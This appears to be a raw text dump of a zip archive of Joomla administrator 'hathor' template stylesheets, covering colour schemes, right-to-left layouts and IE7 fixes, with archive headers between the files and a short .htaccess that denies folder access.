border-right: none; } table#acl-config th.acl-groups { border-right: 1px solid #10254a; } /** * Mod_rewrite Warning */ #jform_sef_rewrite-lbl { background: url(../images/admin/icon-16-notice-note.png) right top no-repeat; } /** * Options modal- config */ /* * * Permission Rules */ #permissions-sliders ul#rules, #permissions-sliders ul#rules ul { border:solid 0 #1b3f7c; background:#163365; } ul#rules li .pane-sliders .panel h3.title { border:solid 0 #1b3f7c; } #permissions-sliders ul#rules .pane-slider { border:solid 1px #1b3f7c; } #permissions-sliders ul#rules li h3 { background:#1c4181; border: 1px solid #1b3f7c; } #permissions-sliders ul#rules li h3.pane-toggler-down a { border:solid 0; } #permissions-sliders ul#rules .group-kind { color:#fcff20; } #permissions-sliders ul#rules table.group-rules td { border-right:solid 1px #1b3f7c; border-bottom:solid 1px #1b3f7c; } #permissions-sliders ul#rules table.group-rules th { background: #10254a; border-right:solid 1px #1b3f7c; border-bottom:solid 1px #1b3f7c; color:#fcff20; } ul#rules table.aclmodify-table { border:solid 1px #fcff20; } ul#rules table.group-rules td label { border:solid 0 #1b3f7c; } #permissions-sliders ul#rules .mypanel { border:solid 0 #1b3f7c; } #permissions-sliders ul#rules table.group-rules td { background: #163365; } #permissions-sliders span.level { color:#ffffff; background-image:none; } /* * Debug styles */ .check-0, table.adminlist tbody td.check-0, table.adminlist tbody tr:hover td.check-0 { background-color: #FFFFCF; color: #163365; } .check-a, table.adminlist tbody td.check-a, table.adminlist tbody tr:hover td.check-a { background-color: #CFFFDA; color: #163365; } .check-d, table.adminlist tbody td.check-d, table.adminlist tbody tr:hover td.check-d { background-color: #FFCFCF; color: #163365; } /** * System Messages */ #system-message dd ul { color: #fcff20; border-top: 3px solid #84A7DB; border-bottom: 3px solid #84A7DB; } #system-message dd.error ul { color: #fcff20; background: #1c4181 url(../images/notice-alert.png) 4px top no-repeat; border-top: 3px solid #a20000; border-bottom: 3px solid #a20000; } #system-message dd.message ul { color: #fcff20; background: #10254a url(../images/notice-info.png) 4px center no-repeat; border-top: 3px solid #EFE7B8; border-bottom: 3px solid #EFE7B8; } #system-message dd.notice ul { color: #fcff20; background: #10254a url(../images/notice-note.png) 4px top no-repeat; border-top: 3px solid #F0DC7E; border-bottom: 3px solid #F0DC7E; } /** CSS file for Accessible Admin Menu * based on Matt Carrolls' son of suckerfish * with javascript by Bill Tomczak */ /* Note: set up the font-size on the id and used 100% on the elements. If ul/li/a are different ems, then the shifting back via non-js keyboard doesn't work properly */ /** * Menu Styling */ #menu { /* this is on the main ul */ color: #ffffff; } #menu ul { /* all lists */ background-color: #163365; color: #ffffff; } #menu ul li.node { background: #163365 url(../images/j_arrow.png) no-repeat right 50%; } #menu a { color: #ffffff; background-repeat: no-repeat; background-position: left 50%; background-color: #1b3f7c; } #menu li { /* all list items */ background-color: #163365; border-right: 1px solid #000000; } #menu li a { border: 1px solid #10254a; } #menu li li a { border: 1px solid #10254a; } #menu li a:hover, #menu li a:active, #menu li a:focus { background-color: #163365; border-top: 1px solid #000000; border-right: 1px solid #1b3f7c; border-bottom: 1px solid #1b3f7c; border-left: 1px solid #000000; color: #ffffff; } #menu li.disabled a:hover, #menu li.disabled a:focus, #menu li.disabled a { color: #feffbf; background-color: #1b3f7c; border-top: 1px solid #163365; border-right: 1px solid #10254a; border-bottom: 1px solid #163365; border-left: 1px solid #10254a; } #menu li ul { /* second-level lists */ border-top: 1px solid #10254a; border-bottom: 2px solid #10254a; } #menu li li { /* second-level row */ background-color: #163365; } #menu li:hover ul,#menu li.sfhover ul { /* lists nested under hovered list items */ margin-left: 0; border-left: 1px solid #122b56; border-right: 1px solid #122b56; } #menu li li:hover ul,#menu li li.sfhover ul { border-left: 1px solid #122b56; border-right: 1px solid #122b56; } /** * Styling parents */ /* 1 level - sfhover */ #menu li.sfhover a { background-color: #163365; border-top: 1px solid #000000; border-right: 1px solid #1b3f7c; border-bottom: 1px solid #1b3f7c; border-left: 1px solid #000000; color: #fcff20; } /* 2 level - normal */ #menu li.sfhover li a { /* background-color: #f0f0f0; */ background-color: #1b3f7c; border: 1px solid #10254a; color: #ffffff; } /* 2 level - hover */ #menu li.sfhover li.sfhover a,#menu li li a:focus { background-color: #163365; border-top: 1px solid #000000; border-right: 1px solid #1b3f7c; border-bottom: 1px solid #1b3f7c; border-left: 1px solid #000000; color: #fcff20; } /* 3 level - normal */ #menu li.sfhover li.sfhover li a { background-color: #1b3f7c; border: 1px solid #10254a; color: #ffffff; } /* 3 level - hover */ #menu li.sfhover li.sfhover li.sfhover a { background-color: #163365; border-top: 1px solid #000000; border-right: 1px solid #1b3f7c; border-bottom: 1px solid #1b3f7c; border-left: 1px solid #000000; color: #fcff20; } /* bring back the focus elements into view */ #menu li li a:focus, #menu li li li a:focus { background-color: #163365; border-top: 1px solid #000000; border-right: 1px solid #1b3f7c; border-bottom: 1px solid #1b3f7c; border-left: 1px solid #000000; color: #ffffff; } #menu li li li a:focus { background-color: #163365; border-top: 1px solid #000000; border-right: 1px solid #1b3f7c; border-bottom: 1px solid #1b3f7c; border-left: 1px solid #000000; color: #ffffff; } /** * Submenu styling */ #submenu { border-bottom: 1px solid #10254a; /* border-bottom plus padding-bottom is the technique */ /* This is the background befind the tabs */ background: #1c4181; } #submenu a, #submenu span.nolink { background: #1b3f7c; border: 1px solid #10254a; color: #ffffff; } #submenu a:hover, #submenu a:focus { background-color: #10254a; } #submenu a.active, #submenu span.nolink.active { background: #163365; border-bottom: 1px solid #163365; color: #fcff20; } /** * Webkit fixes **/ input:-webkit-autofill { background-color: #163365 !important; } /* -- Codemirror Editor ----------- */ div.editor-border, div.CodeMirror-wrapping { border: 1px solid #163365; background-color: #ffffff; } /* User Notes */ div.unotes h1 { background-color: #ffffff; } ul.alternating > li:nth-child(odd) { background-color: #163365; } ul.alternating > li:nth-child(even) { background-color: #10254a; } ol.alternating > li:nth-child(odd) { background-color: #163365; } ol.alternating > li:nth-child(even) { background-color: #10254a;} /* Installer Database */ #installer-database, #installer-discover, #installer-update, #installer-warnings { border-top: 1px solid #1b3f7c; } #installer-database p.warning { background: transparent url(../images/admin/icon-16-deny.png) center left no-repeat; } #installer-database p.nowarning { background: transparent url(../images/admin/icon-16-allow.png) center left no-repeat; } PK@y>\H,templates/hathor/css/colour_standard_rtl.cssnuW+A@charset "UTF-8"; /** * @package Joomla.Administrator * @subpackage templates.hathor * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @since 1.6 * * RTL CSS file for the color standard */ /** * Overall Styles */ #header { background: #ffffff url(../images/j_logo.png) no-repeat top right; } #element-box { border-left: 1px solid #c7c8b2; border-right: 1px solid #c7c8b2; } /** * Status layout */ #module-status .preview { background: url(../images/menu/icon-16-media.png) right 3px no-repeat; } #module-status .viewsite { background: url(../images/menu/icon-16-viewsite.png) right 3px no-repeat; } #module-status .unread-messages, #module-status .no-unread-messages { background: url(../images/menu/icon-16-messages.png) right 3px no-repeat; } #module-status .loggedin-users { background: url(../images/menu/icon-16-user.png) right 3px no-repeat; } #module-status .backloggedin-users { background: url(../images/menu/icon-16-back-user.png) right 3px no-repeat; } #module-status .multilanguage { background: url(../images/menu/icon-16-language.png) right 3px no-repeat; } #module-status .logout { background: url(../images/menu/icon-16-logout.png) right 3px no-repeat; } /** * Various Styles */ div.checkin-tick { background: url(../images/admin/tick.png) 20px 50% no-repeat; } /** * Subheader, toolbar, page title */ div.toolbar-box { border-left: 1px solid #c7c8b2; border-right: 1px solid #c7c8b2; } div.toolbar-list li.divider { border-left:1px dotted #e3e4ca; border-right:none; } div.toolbar-list a:hover { border-right: 1px solid #e3e4ca; border-left: 1px solid #c7c8b2; } /** * Pane Slider pane Toggler styles */ .pane-toggler span { background: transparent url(../images/j_arrow_left.png) right 50% no-repeat; } .pane-toggler-down span { background: transparent url(../images/j_arrow_down.png) right 50% no-repeat; } /** * Cpanel Settings */ #cpanel div.icon a:hover, #cpanel div.icon a:focus { border-right: 1px solid #e3e4ca; border-left: 1px solid #c7c8b2; } fieldset#filter-bar { border-left: none; border-right: none; } /** * Admintable Styles */ table.admintable td.key,table.admintable td.paramlist_key { border-left: 1px solid #c7c8b2; border-right: none; } table.paramlist td.paramlist_description { border-left: 1px solid #c7c8b2; border-right: none; } /** * Admin Form Styles */ table.adminform tr { border-left: 1px solid #c7c8b2; border-right: none; } /** * Adminlist Table layout */ table.adminlist.modal { border-right: 1px solid #c7c8b2; border-left: 1px solid #c7c8b2; } /* Table row styles */ table.adminlist tbody tr td, table.adminlist tbody tr th { border-left: 1px solid #c7c8b2; border-right: none; } table.adminlist tbody tr td:last-child { border-left: none; } /** * Saving order icon styling in admin tables */ a.saveorder { background: url(../images/admin/filesave.png) no-repeat; } a.saveorder.inactive { background-position: 0 -16px; } /** * Button styling */ /* Button 1 Type */ /* Use this if you add images to the buttons such as directional arrows */ .button1 a { /* add padding if you are using the directional images */ /* padding: 0 6px 0 30px; */ } /* Button 2 Type */ .button2-right .prev { background-image: url(../images/j_button2_prev.png); background-position: right center; } .button2-right.off .prev { background: url(../images/j_button2_prev_off.png) no-repeat; } .button2-right .start { background-image: url(../images/j_button2_first.png); background-position: right center; } .button2-left .next { background-image: url(../images/j_button2_next.png); background-position: left center; } .button2-left.off .next { /* @TODO check the x position */ background: url(../images/j_button2_next_off.png) 100% 0 no-repeat; } .button2-left .end { background-image: url(../images/j_arrow_left.png); background-position: left center; } .button2-left.off .end { /* @TODO check the x position */ background: url(../images/j_button2_last_off.png) 100% 0 no-repeat; } .button2-left .image { background: url(../images/j_button2_image.png) 100% 0 no-repeat; } .button2-left .readmore { background: url(../images/j_button2_readmore.png) 100% 0 no-repeat; } .button2-left .pagebreak { background: url(../images/j_button2_pagebreak.png) 100% 0 no-repeat; } /** * Tooltips */ .tip-title { /* @TODO is there a different image */ background: url(../images/selector-arrow-rtl.png) no-repeat right top; } /** * System Standard Messages */ #system-message dd.message ul { background: #C3D2E5 url(../images/notice-info.png) 99.5% center no-repeat; } /** * System Error Messages */ #system-message dd.error ul { background: #E6C0C0 url(../images/notice-alert.png) 99.5% top no-repeat; } /** * System Notice Messages */ #system-message dd.notice ul { background: #EFE7B8 url(../images/notice-note.png) 99%.5 top no-repeat; } /** * JGrid styles */ /** * Menu Icons * These icons are used on the Administrator menu * The classes are constructed dynamically when the menu is generated */ /** * Toolbar icons * These icons are used for the toolbar buttons * The classes are constructed dynamically when the toolbar is created */ /** * Quick Icons * Also knows as Header Icons * These are used for the Quick Icons on the Control Panel * The same classes are also assigned the Component Title */ /** * General styles */ .helpFrame { border-right: 0 solid #c7c8b2; border-left: none; border-top: none; } /* -- ACL STYLES relocated from com_users/media/grid.css ----------- */ /* -- ACL PANEL STYLES ----------- */ /* All Tabs */ table.aclsummary-table td.col2, table.aclsummary-table th.col2, table.aclsummary-table td.col3, table.aclsummary-table th.col3, table.aclsummary-table td.col4, table.aclsummary-table th.col4, table.aclsummary-table td.col5, table.aclsummary-table th.col5, table.aclsummary-table td.col6, table.aclsummary-table th.col6 table.aclmodify-table td.col2, table.aclmodify-table th.col2 { border-right: 1px solid #c7c8b2; border-left: none; } /* Icons */ ul.acllegend li.acl-allowed { background:url(../images/admin/icon-16-allow.png) no-repeat right; } ul.acllegend li.acl-denied { background:url(../images/admin/icon-16-deny.png) no-repeat right; } table#acl-config th.acl-groups { border-left: 1px solid #c7c8b2; } table#acl-config th.acl-groups { text-align: right; } .acl-action { margin: auto 0; } /* Icons */ span.icon-16-unset { background: url(../images/admin/icon-16-denyinactive.png) no-repeat right; } span.icon-16-allowed { background: url(../images/admin/icon-16-allow.png) no-repeat right; } span.icon-16-denied { background: url(../images/admin/icon-16-deny.png) no-repeat right; } span.icon-16-locked { background: url(../images/admin/checked_out.png) no-repeat right; } /** * Mod_rewrite Warning */ #jform_sef_rewrite-lbl { background: url(../images/admin/icon-16-notice-note.png) left top no-repeat; } /** * Modal S-Box overrides */ #sbox-window { text-align: right; } /** * Permission Rules */ #permissions-sliders ul#rules table.group-rules td { border-left: solid 1px #c7c8b2; border-right: solid 0 #c7c8b2; } #permissions-sliders ul#rules table.group-rules th { border-left: solid 1px #c7c8b2; border-right: solid 0 #c7c8b2; } /** * Menu Styling */ #menu ul li.node { background-image: url(../images/j_arrow_left.png); background-repeat: no-repeat; background-position: left 50%; } #menu a { background-position: right 50%; } #menu li { border-left: 1px solid #c7c8b2; border-right: 0 solid #c7c8b2; } #menu li li li a:focus { border-right: 1px solid #fafafa; } /* Installer Database */ #installer-database p.warning { background-position: center right; } #installer-database p.nowarning { background-position: center right; } PK@y>\\(templates/hathor/css/colour_blue_rtl.cssnuW+A@charset "UTF-8"; /** * @package Joomla.Administrator * @subpackage templates.hathor * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @since 1.6 * * RTL CSS file for the color standard */ /** * Overall Styles */ #header { background: #ffffff url(../images/j_logo.png) no-repeat top right; } #element-box { border-left: 1px solid #738498; border-right: 1px solid #738498; } /** * Status layout */ #module-status .preview { background: url(../images/menu/icon-16-media.png) right 3px no-repeat; } #module-status .viewsite { background: url(../images/menu/icon-16-viewsite.png) right 3px no-repeat; } #module-status .unread-messages,#module-status .no-unread-messages { background: url(../images/menu/icon-16-messages.png) right 3px no-repeat; } #module-status .loggedin-users { background: url(../images/menu/icon-16-user.png) right 3px no-repeat; } #module-status .backloggedin-users { background: url(../images/menu/icon-16-back-user.png) right 3px no-repeat; } #module-status .multilanguage { background: url(../images/menu/icon-16-language.png) right 3px no-repeat; } #module-status .logout { background: url(../images/menu/icon-16-logout.png) right 3px no-repeat; } /** * Various Styles */ div.checkin-tick { background: url(../images/admin/tick.png) 20px 50% no-repeat; } /** * Subheader, toolbar, page title */ div.toolbar-box { border-left: 1px solid #738498; border-right: 1px solid #738498; } div.toolbar-list li.divider { border-left: 1px dotted #e5d9c3; border-right: none; } div.toolbar-list a:hover { border-right: 1px solid #e5d9c3; border-left: 1px solid #738498; } /** * Pane Slider pane Toggler styles */ .pane-toggler span { background: transparent url(../images/j_arrow_left.png) right 50% no-repeat; } .pane-toggler-down span { background: transparent url(../images/j_arrow_down.png) right 50% no-repeat; } /** * Cpanel Settings */ #cpanel div.icon a:hover, #cpanel div.icon a:focus { border-right: 1px solid #e5d9c3; border-left: 1px solid #738498; } fieldset#filter-bar { border-left: none; border-right: none; } /** * Admintable Styles */ table.admintable td.key,table.admintable td.paramlist_key { border-left: 1px solid #738498; border-right: none; } table.paramlist td.paramlist_description { border-left: 1px solid #738498; border-right: none; } /** * Admin Form Styles */ table.adminform tr { border-left: 1px solid #738498; border-right: none; } /** * Adminlist Table layout */ table.adminlist.modal { border-right: 1px solid #738498; border-left: 1px solid #738498; } /* Table row styles */ table.adminlist tbody tr td, table.adminlist tbody tr th { border-left: 1px solid #738498; border-right: none; } table.adminlist tbody tr td:last-child { border-left: none; } /** * Saving order icon styling in admin tables */ a.saveorder { background: url(../images/admin/filesave.png) no-repeat; } a.saveorder.inactive { background-position: 0 -16px; } /** * Button styling */ /* Button 1 Type */ /* Use this if you add images to the buttons such as directional arrows */ .button1 a { /* add padding if you are using the directional images */ /* padding: 0 6px 0 30px; */ } /* Button 2 Type */ .button2-right .prev { background-image: url(../images/j_button2_prev.png); background-position: right center; } .button2-right.off .prev { background: url(../images/j_button2_prev_off.png) no-repeat; } .button2-right .start { background-image: url(../images/j_button2_first.png); background-position: right center; } .button2-left .next { background-image: url(../images/j_button2_next.png); background-position: left center; } .button2-left.off .next { /* @TODO check the x position */ background: url(../images/j_button2_next_off.png) 100% 0 no-repeat; } .button2-left .end { background-image: url(../images/j_arrow_left.png); background-position: left center; } .button2-left.off .end { /* @TODO check the x position */ background: url(../images/j_button2_last_off.png) 100% 0 no-repeat; } .button2-left .image { background: url(../images/j_button2_image.png) 100% 0 no-repeat; } .button2-left .readmore { background: url(../images/j_button2_readmore.png) 100% 0 no-repeat; } .button2-left .pagebreak { background: url(../images/j_button2_pagebreak.png) 100% 0 no-repeat; } /** * Tooltips */ .tip-title { /* @TODO is there a different image */ background: url(../images/selector-arrow-rtl.png) no-repeat right top; } /** * System Standard Messages */ #system-message dd.message ul { background: #C3D2E5 url(../images/notice-info.png) 99.5% center no-repeat; } /** * System Error Messages */ #system-message dd.error ul { background: #E6C0C0 url(../images/notice-alert.png) 99.5% top no-repeat; } /** * System Notice Messages */ #system-message dd.notice ul { background: #EFE7B8 url(../images/notice-note.png) 99%.5 top no-repeat; } /** * JGrid styles */ /** * Menu Icons * These icons are used on the Administrator menu * The classes are constructed dynamically when the menu is generated */ /** * Toolbar icons * These icons are used for the toolbar buttons * The classes are constructed dynamically when the toolbar is created */ /** * Quick Icons * Also knows as Header Icons * These are used for the Quick Icons on the Control Panel * The same classes are also assigned the Component Title */ /** * General styles */ .helpFrame { border-right: 0 solid #738498; border-left: none; border-top: none; } /* -- ACL STYLES relocated from com_users/media/grid.css ----------- */ /* -- ACL PANEL STYLES ----------- */ /* All Tabs */ table.aclsummary-table td.col2, table.aclsummary-table th.col2, table.aclsummary-table td.col3, table.aclsummary-table th.col3, table.aclsummary-table td.col4, table.aclsummary-table th.col4, table.aclsummary-table td.col5, table.aclsummary-table th.col5, table.aclsummary-table td.col6, table.aclsummary-table th.col6 table.aclmodify-table td.col2, table.aclmodify-table th.col2 { border-right: 1px solid #738498; border-left: none; } /* Icons */ ul.acllegend li.acl-allowed { background:url(../images/admin/icon-16-allow.png) no-repeat right; } ul.acllegend li.acl-denied { background:url(../images/admin/icon-16-deny.png) no-repeat right; } table#acl-config th.acl-groups { border-left: 1px solid #738498; } table#acl-config th.acl-groups { text-align: right; } .acl-action { margin: auto 0; } /* Icons */ span.icon-16-unset { background: url(../images/admin/icon-16-denyinactive.png) no-repeat right; } span.icon-16-allowed { background: url(../images/admin/icon-16-allow.png) no-repeat right; } span.icon-16-denied { background: url(../images/admin/icon-16-deny.png) no-repeat right; } span.icon-16-locked { background: url(../images/admin/checked_out.png) no-repeat right; } /** * Mod_rewrite Warning */ #jform_sef_rewrite-lbl { background: url(../images/admin/icon-16-notice-note.png) left top no-repeat; } /** * Modal S-Box overrides */ #sbox-window { text-align: right; } /** * Permission Rules */ #permissions-sliders ul#rules table.group-rules td { border-left: solid 1px #738498; border-right: solid 0 #738498; } #permissions-sliders ul#rules table.group-rules th { border-left: solid 1px #738498; border-right: solid 0 #738498; } /** * Menu Styling */ #menu ul li.node { background-image: url(../images/j_arrow_left.png); background-repeat: no-repeat; background-position: left 50%; } #menu a { background-position: right 50%; } #menu li { border-left: 1px solid #738498; border-right: 0 solid #738498; } #menu li li li a:focus { border-right: 1px solid #fafafa; } /* Installer Database */ #installer-database p.warning { background-position: center right; } #installer-database p.nowarning { background-position: center right; } PK@y>\qtemplates/hathor/css/ie7.cssnuW+A@charset "UTF-8"; /** * @package Joomla.Administrator * @subpackage templates.hathor * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @since 1.6 * * CSS file for IE7 */ /** * Special Styles for Internet Explorer 7 */ input { border-width: expression(this.type == "radio" ? '0px' : this.type == "checkbox" ? '0px' : '1px'); } div.toolbar-box { height: 65px; } div.toolbar-list span { margin: 0; position: relative } div.toolbar-list a { position: relative; } div#subheader { height: 2em; } #login-page .pagetitle h2 { margin: 0px; padding: 0px; } *:first-child+html .clearfix { min-height: 1px; } .menu-links li, .menu-links li label { height: 2em; } div.article-edit, div.category-edit { zoom: 1; } div.pane-sliders, div.panel, div.pane-slider, div.rules-section, div.mypanel, div.containerpg, div.pagination, div.upload-queue { zoom: 1; } div.width-20 fieldset.adminform, div.width-30 fieldset.adminform, div.width-35 fieldset.adminform, div.width-40 fieldset.adminform, div.width-45 fieldset.adminform, div.width-50 fieldset.adminform, div.width-55 fieldset.adminform, div.width-60 fieldset.adminform, div.width-65 fieldset.adminform, div.width-70 fieldset.adminform, div.width-80 fieldset.adminform, div.width-100 fieldset.adminform { zoom: 1; margin-bottom:10px; } div.toggle-editor { margin-top: -5px; margin-bottom: 5px; } table.adminlist { border-bottom-width: 1px; } div.current dd { width: 100%; position: relative; } #permissions-sliders ul#rules table.group-rules caption span { height: 0; overflow: hidden; position: absolute; padding:0; margin:0; } div.current ul.menu-links { zoom: 1; width: 25%; margin: 0; padding:0; list-style-position: inside; } div#position-icon.pane-sliders div.pane-down div.icon-wrapper { margin: 0; } fieldset.panelform fieldset.checkboxes.impunlimited { float: none; width: 170px; } PK@y>\)templates/hathor/css/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Vtemplates/hathor/css/index.htmlnuW+A PK@y>\~g{{!templates/hathor/css/boldtext.cssnuW+A@charset "UTF-8"; /** * @package Joomla.Administrator * @subpackage templates.hathor * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @since 1.6 * * Changes to use bold text as the default */ /** * Default to bold text */ body { font-weight: bold; } PK@y>\{/FLFL%templates/hathor/css/template_rtl.cssnuW+A@charset "UTF-8"; /** * @package Joomla.Administrator * @subpackage templates.hathor * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @since 1.6 * * RTL CSS file for the template */ body { direction: rtl; } h1, h2, h3 { text-align: right; } /** * CSS Reset */ html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { background-position: transparent none repeat scroll top right; } /* new styles */ /* end new styles */ /** * Overall Styles */ #header h1.title { padding: 0 120px 0 0; } #footer { padding: 10px 20px; } #content { margin: 5px 20px 20px 20px; } .cpanel-page div#element-box { padding: 15px; } /** * Status layout */ #module-status { left: 0; right: none; float: left; } #module-status > span { float: right; padding: 4px 22px 0 20px; } /* background images moved to color css file */ /** * Various Styles */ div.checkin-tick { text-indent: -9999px; } /** * Overlib */ /** * Subheader, toolbar, page title */ div.pagetitle { padding: 0 0 5px 0; background-position: right 50%; line-height: 54px; } .pagetitle h2 { padding: 0 50px 0 0; } div.configuration { padding-right: 30px; margin-right: 10px; } div.toolbar-list { float: right; text-align: left; } div.toolbar-list li { padding: 5px 4px 5px 1px; float: right; } div.toolbar-list li.divider { margin-left: 10px; margin-right: 0; } div.toolbar-list span { margin: 0 auto; } div.toolbar-list a { float: right; padding: 1px 5px; } /** * Massmail component */ /** * Pane Slider pane Toggler styles */ div.pane-sliders { margin-left: 10px; } .pane-toggler span { padding-left: 0; padding-right: 20px; } .pane-toggler-down span { padding-right: 20px; padding-left: 0; } div#position-icon.pane-sliders div.pane-down .icon-wrapper .icon { padding: 5px 10px 5px 0; margin: 0; } /** * Tabs */ dl.tabs { float: right; margin: 10px 0 -1px 0; } dl.tabs dt { float: right; padding: 4px 10px; margin-right: 3px; } div.current { padding: 10px 10px; } /* New parameter styles (check rtl) */ dl#content-pane.tabs { margin: 1px 0 0 0; } div.current label, div.current span.faux-label { float:right; clear:right; } div.current fieldset.radio { float:right; } div.current fieldset.radio input { float:right; margin: 3px 2px 0 0; } div.current fieldset.radio label { float:right; margin: 3px 2px 0 0; } div.current fieldset.checkboxes { float:right; clear:left; } div.current fieldset.checkboxes input { float:right; clear:right; margin: 3px 2px 0 0; } div.current fieldset.checkboxes label { clear:left; margin: 3px 2px 0 0; } div.current input, div.current span.faux-input, div.current textarea, div.current select { float:right; margin: 3px 2px 0 0; } div.current table#acl-config th.acl-groups { text-align: right; } div.current table#filter-config th.acl-groups { text-align: right; } /* -------- Menu Assigments ---------- */ div#menu-assignment { clear:right; } div#menu-assignment ul.menu-links { float:right; } div#menu-assignment h3 { clear:right; } div#menu-assignment ul.menu-links li.menu-link label { float: right; margin: 3px 2px 0 0; } div#menu-assignment ul.menu-links li.menu-link input { clear: right; float: right; } p.tab-description { margin-right: 0; } /* end new parameter styles */ /** * Login Settings */ #login-page form .inputbox { margin-right: 5px; } #login-page input, #login-page select { float: left; } #login-page .login { margin: 0 auto; } #login-page .pagetitle h2 { margin: -70px 0 30px 0; } #login-page .login-inst { float: right; } #login-page .login-box { float: left; } #login-page .button { text-align: left; } #login-page .login-text { text-align: right; float: right; } #form-login { float: left; } #form-login label { float: right; clear: right; text-align: left; } #form-login div.button1 div.next { float: right; } #form-login div.button1 a { padding: 0 15px 0 15px; /* padding: 0 6px 0 30px; use this if you use images */ } /** * Cpanel Settings */ .cpanel div.icon , #cpanel div.icon { margin-left: 5px; float: right; } .cpanel div.icon a , #cpanel div.icon a { float: right; } .cpanel img , #cpanel img { padding: 10px 0; margin: 0 auto; } div.cpanel-icons { float: right; } div.cpanel-component { float: left; } /** * Standard Layout Styles */ div.col { float: right; } div.options-section.col { float: left; } div.col1 { float: right; } div.col2 { float: left; } /* Avoid using the width divs. They are here for 3PD Extensions if needed * Use the specific layout divs listed after. See also the th.width entries */ .clrlft { clear: right; } .clrrt { clear: left; } .fltlft { float: right; } .fltrt { float: left; } .fltnone { float: none; } /* Layout Divs */ div.options-section { margin: 10px 0 10px 10px; } /* for bluestork style html */ div.width-40.fltrt { margin: 10px 0 10px 10px; } /** * Form Styles */ fieldset { margin: 2px 10px 2px 10px; text-align: right; } fieldset p { margin: 10px 0; } /* new form fields (check rtl) */ fieldset.adminform fieldset.radio, fieldset.panelform fieldset.radio, fieldset.adminform-legacy fieldset.radio { float:right; margin: 0 0 5px 0; clear:left; } fieldset.adminform fieldset.radio label, fieldset.panelform fieldset.radio label, fieldset.adminform fieldset.radio span.faux-label, fieldset.panelform fieldset.radio span.faux-label { float:right; } fieldset.panelform-legacy label, fieldset.adminform-legacy label, fieldset.panelform-legacy span.faux-label, fieldset.adminform-legacy span.faux-label { float:right; } /* JParameter classes on radio button labels */ p.jform_desc { clear: right; } fieldset ul.checklist { margin-right: 27px; margin-left: 0; } fieldset#filter-bar { margin: 0; padding: 5px 10px 5px 10px; } fieldset#filter-bar ol, fieldset#filter-bar ul { padding: 5px 0 0; } fieldset#filter-bar ol li, fieldset#filter-bar ul li { float: right; padding: 0 0 0 5px; } fieldset#filter-bar .filter-search { float: right; } fieldset#filter-bar .filter-select { float: left; } /* Note: these visual cues should be augmented by aria */ /* must be augmented by aria at the same time if changed dynamically by js aria-invalid=true or aria-invalid=false */ /* augmented by aria in template javascript */ span.readonly { float: right; } div.extdescript { margin-right: 10px; } input[type="button"] { padding: 1px 6px; } /** * Option or Parameter styles */ /* end from alpha2 */ span.gi { margin-left: 5px; } /** * Admintable Styles */ table.admintable td.key,table.admintable td.paramlist_key { text-align: left; } table.paramlist td.paramlist_description { text-align: right; } /** * Admin Form Styles */ fieldset.adminform { margin: 0 10px 10px 10px; } /* Table styles are for use with tabular data */ table.adminform { margin: 8px 0 10px 0; } table.adminform th { padding: 6px 4px 4px 2px; text-align: right; } table.adminform td { text-align: right; } table.adminform td#filter-bar { text-align: right; } table.adminform td.helpMenu { text-align: left; } table.adminform tr { padding-right: 10px; padding-left: 10px; border-left: 1px solid #c7c8b2; border-right: none; } /** * Table formating styles */ /* Avoid using the width classes. They are here for 3PD Extensions if needed * Use the specific layout table headers listed after. See also the div.width entries */ /* Table header layout classes */ th.ordering-col a { float:right; margin-right: 3px; } th.ordering-col a img { margin-right: 4px; margin-left: 4px; } /** * Adminlist Table layout */ /* Table row styles */ table.adminlist tr { padding-left: 30px; padding-right: 30px; } table.adminlist tbody tr { text-align: right; } /* Table td/th styles */ table.adminlist td.order span { float: right; } /** * Tree indentation & nesting - Up to 10 levels deep so don't go crazy : */ table.adminlist td.indent-4 { padding-right:4px; } table.adminlist td.indent-19 { padding-right:19px; } table.adminlist td.indent-34 { padding-right:34px; } table.adminlist td.indent-49 { padding-right:49px; } table.adminlist td.indent-64 { padding-right:64px; } table.adminlist td.indent-79 { padding-right:79px; } table.adminlist td.indent-94 { padding-right:94px; } table.adminlist td.indent-109 { padding-right:109px; } table.adminlist td.indent-124 { padding-right:124px; } table.adminlist td.indent-139 { padding-right:139px; } /** * Adminlist buttons */ table.adminlist tr td.btns a { padding: 3px 20px; } /** * Modal Modules styles */ ul#new-modules-list { margin-right: 50px; margin-left: 0; } /** * Utility styles */ /* General Clearing Class */ .menu-module-list { padding-right: 10px; margin-right: 5px; } /* stu nicholls solution for centering divs */ /* table solution for global config */ table.noshow fieldset { margin: 15px 7px 7px 7px; } /** * Saving order icon styling in admin tables */ a.saveorder { float:left; margin-left: 8px; } /** * Button styling */ #editor-xtd-buttons { padding: 5px; } /* Button 1 Type */ .button1,.button1 div { float: left; } /* Use this if you add images to the buttons such as directional arrows */ .button1 a { float: right; padding: 0 6px 0 6px; } /* Button 2 Type */ .button2-left,.button2-right { float: right; } .button2-left a, .button2-right a, .button2-left span, .button2-right span { float: right; } /* these are inactive buttons */ .button2-left .page a, .button2-right .page a, .button2-left .page span, .button2-right .page span, .button2-left .blank a, .button2-right .blank a, .button2-left .blank span, .button2-right .blank span { padding: 0 6px; } .button2-left a,.button2-left span { padding: 0 6px 0 24px; } .button2-right a,.button2-right span { padding: 0 24px 0 6px; } .button2-left { float: right; margin-right: 5px; } .button2-right { float: right; margin-right: 5px; } /* background images moved to the color rtl css file */ /** * Pagination styles */ /* Normal pagination styles */ div.containerpg { position: relative; right: 50%; float: right; clear: right; } div.pagination { right: -50%; margin: 0 auto; } .pagination div.limit { float: right; margin: 0 10px; } /* The Go submittal button */ .pagination button { margin-left: 20px; } /* Style if 